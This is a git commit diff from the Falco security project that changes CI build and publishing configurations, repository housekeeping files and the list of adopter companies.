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Author SHA1 Message Date
Kris Nova
3b804fe47f Adding falco script from install docs
Signed-off-by: Kris Nova <kris@nivenly.com>
2020-02-20 07:43:47 -08:00
487 changed files with 15972 additions and 19930 deletions

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@@ -1,4 +0,0 @@
approvers:
- jonahjon
reviewers:
- jonahjon

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@@ -1,104 +1,40 @@
version: 2.1
version: 2
jobs:
"build-arm64":
machine:
enabled: true
image: ubuntu-2004:202101-01
resource_class: arm.medium
steps:
- checkout:
path: /tmp/source-arm64/falco
- run:
name: Prepare project
command: |
mkdir -p /tmp/build-arm64 && mkdir -p /tmp/build-arm64/release && \
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-builder:latest \
cmake
- run:
name: Build
command: |
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-builder:latest \
all
- run:
name: Run unit tests
command: |
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-builder:latest \
tests
- run:
name: Build packages
command: |
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-builder:latest \
package
- run:
name: Prepare Artifacts
command: |
mkdir -p /tmp/packages
cp /tmp/build-arm64/release/*.deb /tmp/packages
cp /tmp/build-arm64/release/*.tar.gz /tmp/packages
cp /tmp/build-arm64/release/*.rpm /tmp/packages
- store_artifacts:
path: /tmp/packages
destination: /packages
- persist_to_workspace:
root: /tmp
paths:
- build-arm64/release
- source-arm64
# Build a statically linked Falco release binary using musl
# This build is 100% static, there are no host dependencies
"build-musl":
# Build using ubuntu LTS
# This build is dynamic, most dependencies are taken from the OS
"build/ubuntu-bionic":
docker:
- image: alpine:3.12
- image: ubuntu:bionic
steps:
- checkout:
path: /source-static/falco
- checkout
- run:
name: Update base image
command: apk update
command: apt update -y
- run:
name: Install build dependencies
command: apk add g++ gcc cmake make git bash perl linux-headers autoconf automake m4 libtool elfutils-dev libelf-static patch binutils
name: Install dependencies
command: apt install libssl-dev libyaml-dev libncurses-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm linux-headers-$(uname -r) libelf-dev cmake build-essential libcurl4-openssl-dev -y
- run:
name: Prepare project
command: |
mkdir -p /build-static/release
cd /build-static/release
cmake -DCPACK_GENERATOR=TGZ -DBUILD_BPF=Off -DBUILD_DRIVER=Off -DCMAKE_BUILD_TYPE=Release -DUSE_BUNDLED_DEPS=On -DMUSL_OPTIMIZED_BUILD=On -DFALCO_ETC_DIR=/etc/falco /source-static/falco
mkdir build
pushd build
cmake ..
popd
- run:
name: Build
command: |
cd /build-static/release
pushd build
make -j4 all
- run:
name: Package
command: |
cd /build-static/release
make -j4 package
popd
- run:
name: Run unit tests
command: |
cd /build-static/release
pushd build
make tests
- run:
name: Prepare artifacts
command: |
mkdir -p /tmp/packages
cp /build-static/release/*.tar.gz /tmp/packages
- store_artifacts:
path: /tmp/packages
destination: /packages
- persist_to_workspace:
root: /
paths:
- build-static/release
- source-static
popd
# Build using our own builder base image using centos 7
# This build is static, dependencies are bundled in the Falco binary
"build-centos7":
# This build is static, dependencies are bundled in the falco binary
"build/centos7":
docker:
- image: falcosecurity/falco-builder:latest
environment:
@@ -133,8 +69,8 @@ jobs:
- store_artifacts:
path: /tmp/packages
destination: /packages
# Execute integration tests based on the build results coming from the "build-centos7" job
"tests-integration":
# Execute integration tests based on the build results coming from the "build/centos7" job
"tests/integration":
docker:
- image: falcosecurity/falco-tester:latest
environment:
@@ -148,462 +84,12 @@ jobs:
- run:
name: Execute integration tests
command: /usr/bin/entrypoint test
- store_test_results:
path: /build/release/integration-tests-xunit
"tests-integration-static":
docker:
- image: falcosecurity/falco-tester:latest
environment:
SOURCE_DIR: "/source-static"
BUILD_DIR: "/build-static"
BUILD_TYPE: "release"
SKIP_PACKAGES_TESTS: "true"
SKIP_PLUGINS_TESTS: "true"
steps:
- setup_remote_docker
- attach_workspace:
at: /
- run:
name: Execute integration tests
command: /usr/bin/entrypoint test
- store_test_results:
path: /build-static/release/integration-tests-xunit
# Execute integration tests based on the build results coming from the "build-arm64" job
"tests-integration-arm64":
machine:
enabled: true
image: ubuntu-2004:202101-01
resource_class: arm.medium
steps:
- attach_workspace:
at: /tmp
- run:
name: Execute integration tests
command: |
docker run -e BUILD_TYPE="release" -e BUILD_DIR="/build" -e SOURCE_DIR="/source" -it -v /var/run/docker.sock:/var/run/docker.sock -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-tester:latest \
test
- store_test_results:
path: /tmp/build-arm64/release/integration-tests-xunit
"tests-driver-loader-integration":
machine:
image: ubuntu-2004:202107-02
steps:
- attach_workspace:
at: /tmp/ws
- run:
name: Execute driver-loader integration tests
command: /tmp/ws/source/falco/test/driver-loader/run_test.sh /tmp/ws/build/release/
# Code quality
"quality-static-analysis":
docker:
- image: falcosecurity/falco-builder:latest
environment:
BUILD_TYPE: "release"
steps:
- run:
name: Install cppcheck
command: |
yum update -y
yum install epel-release -y
yum install cppcheck cppcheck-htmlreport -y
- checkout:
path: /source/falco
- run:
name: Prepare project
command: /usr/bin/entrypoint cmake
- run:
name: cppcheck
command: /usr/bin/entrypoint cppcheck
- run:
name: cppcheck html report
command: /usr/bin/entrypoint cppcheck_htmlreport
- store_artifacts:
path: /build/release/static-analysis-reports
destination: /static-analysis-reports
# Sign rpm packages
"rpm-sign":
docker:
- image: falcosecurity/falco-builder:latest
steps:
- attach_workspace:
at: /
- run:
name: Install rpmsign
command: |
yum update -y
yum install rpm-sign -y
- run:
name: Prepare
command: |
echo "%_signature gpg" > ~/.rpmmacros
echo "%_gpg_name Falcosecurity Package Signing" >> ~/.rpmmacros
echo "%__gpg_sign_cmd %{__gpg} --force-v3-sigs --batch --no-armor --passphrase-fd 3 --no-secmem-warning -u \"%{_gpg_name}\" -sb --digest-algo sha256 %{__plaintext_filename}'" >> ~/.rpmmacros
cat > ~/sign \<<EOF
#!/usr/bin/expect -f
spawn rpmsign --addsign {*}\$argv
expect -exact "Enter pass phrase: "
send -- "\n"
expect eof
EOF
chmod +x ~/sign
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Sign rpm x86_64
command: |
cd /build/release/
~/sign *.rpm
rpm --qf %{SIGPGP:pgpsig} -qp *.rpm | grep SHA256
- run:
name: Sign rpm arm64
command: |
cd /build-arm64/release/
~/sign *.rpm
rpm --qf %{SIGPGP:pgpsig} -qp *.rpm | grep SHA256
- persist_to_workspace:
root: /
paths:
- build/release/*.rpm
- build-arm64/release/*.rpm
# Publish the dev packages
"publish-packages-dev":
docker:
- image: docker.io/centos:7
steps:
- attach_workspace:
at: /
- run:
name: Setup
command: |
yum install epel-release -y
yum update -y
yum install createrepo gpg python python-pip -y
pip install awscli==1.19.47
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Publish rpm-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-rpm -f /build/release/falco-${FALCO_VERSION}-x86_64.rpm -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.rpm -r rpm-dev
- run:
name: Publish bin-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-bin -f /build/release/falco-${FALCO_VERSION}-x86_64.tar.gz -r bin-dev -a x86_64
/source/falco/scripts/publish-bin -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.tar.gz -r bin-dev -a aarch64
- run:
name: Publish bin-static-dev
command: |
FALCO_VERSION=$(cat /build-static/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
cp -f /build-static/release/falco-${FALCO_VERSION}-x86_64.tar.gz /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz
/source/falco/scripts/publish-bin -f /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz -r bin-dev -a x86_64
"publish-packages-deb-dev":
docker:
- image: docker.io/debian:stable
steps:
- attach_workspace:
at: /
- run:
name: Setup
command: |
apt update -y
apt-get install apt-utils bzip2 gpg python python3-pip -y
pip install awscli
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Publish deb-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-deb -f /build/release/falco-${FALCO_VERSION}-x86_64.deb -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.deb -r deb-dev
# Publish docker packages
"publish-docker-dev":
docker:
- image: cimg/base:stable
user: root
steps:
- attach_workspace:
at: /
- checkout
- setup_remote_docker:
version: 20.10.12
- run:
name: Prepare env
command: |
docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
docker context create falco-env
docker buildx create falco-env --driver docker-container --use
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
sudo apt update
sudo apt install groff less python3-pip
pip install awscli
- run:
name: Login to aws ECR
command: |
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
- run:
name: Build and publish no-driver-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
docker buildx build --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} --platform "arm64,amd64" --push \
-t falcosecurity/falco-no-driver:master \
-t falcosecurity/falco:master-slim \
-t public.ecr.aws/falcosecurity/falco-no-driver:master \
-t public.ecr.aws/falcosecurity/falco:master-slim \
docker/no-driver
- run:
name: Build and publish dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
docker buildx build --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} --platform "arm64,amd64" --push \
-t falcosecurity/falco:master \
-t public.ecr.aws/falcosecurity/falco:master \
docker/falco
- run:
name: Build and publish dev falco-driver-loader-dev
command: |
docker buildx build --build-arg FALCO_IMAGE_TAG=master --platform "arm64,amd64" --push \
-t falcosecurity/falco-driver-loader:master \
-t public.ecr.aws/falcosecurity/falco-driver-loader:master \
docker/driver-loader
# Publish the packages
"publish-packages":
docker:
- image: docker.io/centos:7
steps:
- attach_workspace:
at: /
- run:
name: Setup
command: |
yum install epel-release -y
yum update -y
yum install createrepo gpg python python-pip -y
pip install awscli==1.19.47
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Publish rpm
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-rpm -f /build/release/falco-${FALCO_VERSION}-x86_64.rpm -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.rpm -r rpm
- run:
name: Publish bin
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-bin -f /build/release/falco-${FALCO_VERSION}-x86_64.tar.gz -r bin -a x86_64
/source/falco/scripts/publish-bin -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.tar.gz -r bin -a aarch64
- run:
name: Publish bin-static
command: |
FALCO_VERSION=$(cat /build-static/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
cp -f /build-static/release/falco-${FALCO_VERSION}-x86_64.tar.gz /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz
/source/falco/scripts/publish-bin -f /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz -r bin -a x86_64
"publish-packages-deb":
docker:
- image: docker.io/debian:stable
steps:
- attach_workspace:
at: /
- run:
name: Setup
command: |
apt update -y
apt-get install apt-utils bzip2 gpg python python3-pip -y
pip install awscli
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Publish deb
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-deb -f /build/release/falco-${FALCO_VERSION}-x86_64.deb -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.deb -r deb
# Publish docker packages
"publish-docker":
docker:
- image: cimg/base:stable
user: root
steps:
- attach_workspace:
at: /
- checkout
- setup_remote_docker:
version: 20.10.12
- run:
name: Prepare env
command: |
docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
docker context create falco-env
docker buildx create falco-env --driver docker-container --use
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
sudo apt update
sudo apt install groff less python3-pip
pip install awscli
- run:
name: Login to aws ECR
command: |
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
- run:
name: Build and publish no-driver
command: |
docker buildx build --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${CIRCLE_TAG} --platform "arm64,amd64" --push \
-t "falcosecurity/falco-no-driver:${CIRCLE_TAG}" \
-t falcosecurity/falco-no-driver:latest \
-t "falcosecurity/falco:${CIRCLE_TAG}-slim" \
-t "falcosecurity/falco:latest-slim" \
-t "public.ecr.aws/falcosecurity/falco-no-driver:${CIRCLE_TAG}" \
-t "public.ecr.aws/falcosecurity/falco-no-driver:latest" \
-t "public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}-slim" \
-t "public.ecr.aws/falcosecurity/falco:latest-slim" \
docker/no-driver
- run:
name: Build and publish falco
command: |
docker buildx build --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} --platform "arm64,amd64" --push \
-t "falcosecurity/falco:${CIRCLE_TAG}" \
-t "falcosecurity/falco:latest" \
-t "public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}" \
-t "public.ecr.aws/falcosecurity/falco:latest" \
docker/falco
- run:
name: Build and publish falco-driver-loader
command: |
docker buildx build --build-arg FALCO_IMAGE_TAG=${CIRCLE_TAG} --platform "arm64,amd64" --push \
-t "falcosecurity/falco-driver-loader:${CIRCLE_TAG}" \
-t "falcosecurity/falco-driver-loader:latest" \
-t "public.ecr.aws/falcosecurity/falco-driver-loader:${CIRCLE_TAG}" \
-t "public.ecr.aws/falcosecurity/falco-driver-loader:latest" \
docker/driver-loader
workflows:
version: 2.1
version: 2
build_and_test:
jobs:
- "build-musl"
- "build-arm64"
- "build-centos7"
- "tests-integration":
- "build/ubuntu-bionic"
- "build/centos7"
- "tests/integration":
requires:
- "build-centos7"
- "tests-integration-arm64":
requires:
- "build-arm64"
- "tests-integration-static":
requires:
- "build-musl"
- "tests-driver-loader-integration":
requires:
- "build-centos7"
- "rpm-sign":
context: falco
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "tests-integration"
- "tests-integration-arm64"
- "publish-packages-dev":
context:
- falco
- test-infra
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "rpm-sign"
- "tests-integration-static"
- "publish-packages-deb-dev":
context:
- falco
- test-infra
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "tests-integration"
- "tests-integration-arm64"
- "publish-docker-dev":
context:
- falco
- test-infra
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "publish-packages-dev"
- "publish-packages-deb-dev"
- "tests-driver-loader-integration"
# - "quality/static-analysis" # This is temporarily disabled: https://github.com/falcosecurity/falco/issues/1526
release:
jobs:
- "build-musl":
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "build-centos7":
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "build-arm64":
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "rpm-sign":
context: falco
requires:
- "build-centos7"
- "build-arm64"
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "publish-packages":
context:
- falco
- test-infra
requires:
- "build-musl"
- "rpm-sign"
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "publish-packages-deb":
context:
- falco
- test-infra
requires:
- "build-centos7"
- "build-arm64"
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "publish-docker":
context:
- falco
- test-infra
requires:
- "publish-packages"
- "publish-packages-deb"
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "build/centos7"

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@@ -7,7 +7,7 @@ line_width = 120
# How many spaces to tab for indent
tab_size = 2
# If arg lists are longer than this, break them always
# If arglists are longer than this, break them always
max_subargs_per_line = 3
# If true, separate flow control names from their parentheses with a space
@@ -21,7 +21,7 @@ separate_fn_name_with_space = False
dangle_parens = False
# If the statement spelling length (including space and parenthesis is larger
# than the tab width by more than this among, then force reject un-nested
# than the tab width by more than this amoung, then force reject un-nested
# layouts.
max_prefix_chars = 2
@@ -54,7 +54,7 @@ always_wrap = []
algorithm_order = [0, 1, 2, 3, 4]
# If true, the argument lists which are known to be sortable will be sorted
# lexicographically
# lexicographicall
enable_sort = True
# If true, the parsers may infer whether or not an argument list is sortable

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@@ -1,3 +0,0 @@
aks
creat
chage

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@@ -1,6 +1,6 @@
<!-- Thanks for sending a pull request! Here are some tips for you:
1. If this is your first time, please read our contributor guidelines in the [CONTRIBUTING.md](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md) file and learn how to compile Falco from source [here](https://falco.org/docs/source).
1. If this is your first time, please read our contributor guidelines in the [CONTRIBUTING.md](CONTRIBUTING.md) file and learn how to compile Falco from source [here](https://falco.org/docs/source).
2. Please label this pull request according to what type of issue you are addressing.
3. . Please add a release note!
4. If the PR is unfinished while opening it specify a wip in the title before the actual title, for example, "wip: my awesome feature"
@@ -40,8 +40,12 @@ Please remove the leading whitespace before the `/kind <>` you uncommented.
> /area engine
> /area examples
> /area rules
> /area integrations
> /area tests
> /area proposals

19
.github/stale.yml vendored Normal file
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@@ -0,0 +1,19 @@
# Number of days of inactivity before an issue becomes stale
daysUntilStale: 60
# Number of days of inactivity before a stale issue is closed
daysUntilClose: 7
# Issues with these labels will never be considered stale
exemptLabels:
- cncf
- roadmap
- enhancement
- "help wanted"
# Label to use when marking an issue as stale
staleLabel: wontfix
# Comment to post when marking an issue as stale. Set to `false` to disable
markComment: >
This issue has been automatically marked as stale because it has not had
recent activity. It will be closed if no further activity occurs. Thank you
for your contributions.
# Comment to post when closing a stale issue. Set to `false` to disable
closeComment: false

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@@ -1,170 +0,0 @@
name: CI Build
on:
pull_request:
branches: [master]
push:
branches: [master]
workflow_dispatch:
jobs:
build-minimal:
runs-on: ubuntu-20.04
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: Update base image
run: sudo apt update -y
- name: Install build dependencies
run: sudo DEBIAN_FRONTEND=noninteractive apt install libjq-dev libyaml-cpp-dev libelf-dev cmake build-essential git -y
- name: Prepare project
run: |
mkdir build-minimal
pushd build-minimal
cmake -DMINIMAL_BUILD=On -DBUILD_BPF=Off -DBUILD_DRIVER=Off -DCMAKE_BUILD_TYPE=Release ..
popd
- name: Build
run: |
pushd build-minimal
make -j4 all
popd
- name: Run unit tests
run: |
pushd build-minimal
make tests
popd
build-ubuntu-focal:
runs-on: ubuntu-20.04
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: Update base image
run: sudo apt update -y
- name: Install build dependencies
run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
- name: Prepare project
run: |
mkdir build
pushd build
cmake -DBUILD_BPF=On ..
popd
- name: Build
run: |
pushd build
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
popd
- name: Run unit tests
run: |
pushd build
make tests
popd
build-ubuntu-focal-debug:
runs-on: ubuntu-20.04
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: Update base image
run: sudo apt update -y
- name: Install build dependencies
run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
- name: Prepare project
run: |
mkdir build
pushd build
cmake -DCMAKE_BUILD_TYPE=debug -DBUILD_BPF=On ..
popd
- name: Build
run: |
pushd build
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
popd
- name: Run unit tests
run: |
pushd build
make tests
popd
build-ubuntu-bionic:
runs-on: ubuntu-18.04
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: Update base image
run: sudo apt update -y
- name: Install build dependencies
run: sudo DEBIAN_FRONTEND=noninteractive apt install cmake build-essential clang llvm git linux-headers-$(uname -r) pkg-config autoconf libtool libelf-dev -y
- name: Prepare project
run: |
mkdir build
pushd build
cmake -DBUILD_BPF=On -DUSE_BUNDLED_DEPS=On ..
popd
- name: Build
run: |
pushd build
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
popd
- name: Run unit tests
run: |
pushd build
make tests
popd
build-centos7-debug:
runs-on: ubuntu-latest
container:
image: falcosecurity/falco-builder:latest
env:
BUILD_TYPE: "debug"
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
path: falco
- name: Link falco repo to /source/falco
run: |
mkdir -p /source
ln -s "$GITHUB_WORKSPACE/falco" /source/falco
- name: Prepare project
run: /usr/bin/entrypoint cmake
- name: Build
run: /usr/bin/entrypoint all
- name: Run unit tests
run: /usr/bin/entrypoint tests
- name: Build packages
run: /usr/bin/entrypoint package

View File

@@ -1,14 +0,0 @@
name: Codespell
on:
pull_request:
jobs:
codespell:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- uses: codespell-project/actions-codespell@master
with:
skip: .git
ignore_words_file: .codespellignore
check_filenames: true
check_hidden: true

16
.gitignore vendored
View File

@@ -2,6 +2,7 @@
*~
*.pyc
test/falco_tests.yaml
test/traces-negative
test/traces-positive
test/traces-info
@@ -10,6 +11,19 @@ test/.phoronix-test-suite
test/results*.json.*
test/build
userspace/falco/lua/re.lua
userspace/falco/lua/lpeg.so
userspace/engine/lua/lyaml
userspace/engine/lua/lyaml.lua
docker/event-generator/event_generator
docker/event-generator/mysqld
docker/event-generator/httpd
docker/event-generator/sha1sum
docker/event-generator/vipw
.vscode/*
*.idea*
.luacheckcache
*.idea*

9
.luacheckrc Normal file
View File

@@ -0,0 +1,9 @@
std = "min"
cache = true
include_files = {
"userspace/falco/lua/*.lua",
"userspace/engine/lua/*.lua",
"userspace/engine/lua/lyaml/*.lua",
"*.luacheckrc"
}
exclude_files = {"build"}

View File

@@ -1,59 +1,18 @@
# Adopters
Known end users with notable contributions to the project include:
* AWS
* IBM
* Red Hat
Falco is being used by numerous other companies, both large and small, to build higher layer products and services. The list includes but is not limited to:
* Equinix Metal
* IEEE
* Lowes
* Reckrut
* Yellow Pepper
* CTx
* Utikal
* Discrete Events
* Agritech Infra
This is a list of production adopters of Falco (in alphabetical order):
* [ASAPP](https://www.asapp.com/) - ASAPP is a pushing the boundaries of fundamental artificial intelligence research. We apply our research into AI-Native® products that make organizations, in the customer experience industry, highly productive, efficient, and effective—by augmenting human activity and automating workflows. We constantly monitor our workloads against different hazards and FALCO helps us extend our threat monitoring boundaries.
* [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
* [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
* [Fairwinds](https://fairwinds.com/) - [Fairwinds Insights](https://fairwinds.com/insights), Kubernetes governance software, integrates Falco to offer a single pane of glass view into potential security incidents. Insights adds out-of-the-box integrations and rules filter to reduce alert fatigue and improve security response. The platform adds security prevention, detection, and response capabilities to your existing Kubernetes infrastructure. Security and DevOps teams benefit from a centralized view of container security vulnerability scanning and runtime container security.
* [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
* [Giant Swarm](https://www.giantswarm.io/) - Giant Swarm manages Kubernetes clusters and infrastructure for enterprises across multiple cloud providers as well as several flavors of on-premises data centers. Our platform provisions and monitors pure "vanilla" Kubernetes clusters which can be augmented with managed solutions to many common Kubernetes challenges, including security. We use Falco for anomaly detection as part of our collection of entirely open-source tools for securing our own clusters, and offer the same capabilities to our customers as part of our [managed security offering](https://docs.giantswarm.io/app-platform/apps/security/).
* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containerswhich could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
* [GitLab](https://about.gitlab.com/direction/defend/container_host_security/) - GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate. GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.
* [gVisor](https://gvisor.dev/) - gVisor secures Kubernetes, containers, and workloads via an alternate execution environment that handles system calls in user space, blocking security issues before they reach the underlying host. gVisor provides defense-in-depth, protection against untrusted code execution, and a secure-by-default Kubernetes experience where containers are a security boundary. Falco can be used with gVisor to detect unusual or suspicious activity using its threat detection engine on top of gVisor runtime execution information.
* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containers which could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.
* https://logz.io/blog/k8s-security-with-falco-and-cloud-siem/
* [MathWorks](https://mathworks.com) - MathWorks develops mathematical computing software for engineers and scientists. MathWorks uses Falco for Kubernetes threat detection, unexpected application behavior, and maps Falco rules to their cloud infrastructure's security kill chain model. MathWorks presented their Falco use case at [KubeCon + CloudNativeCon North America 2020](https://www.youtube.com/watch?v=L-5RYBTV010).
* [Pocteo](https://pocteo.co) - Pocteo helps with Kubernetes adoption in enterprises by providing a variety of services such as training, consulting, auditing and mentoring. We build CI/CD pipelines the GitOps way, as well as design and run k8s clusters. Pocteo uses Falco as a runtime monitoring system to secure clients' workloads against suspicious behavior and ensure k8s pods immutability. We also use Falco to collect, process and act on security events through a response engine and serverless functions.
* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPAA compliance requirements.
* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPPA compliance requirements.
* https://hipaa.preferral.com/01-preferral_hipaa_compliance/
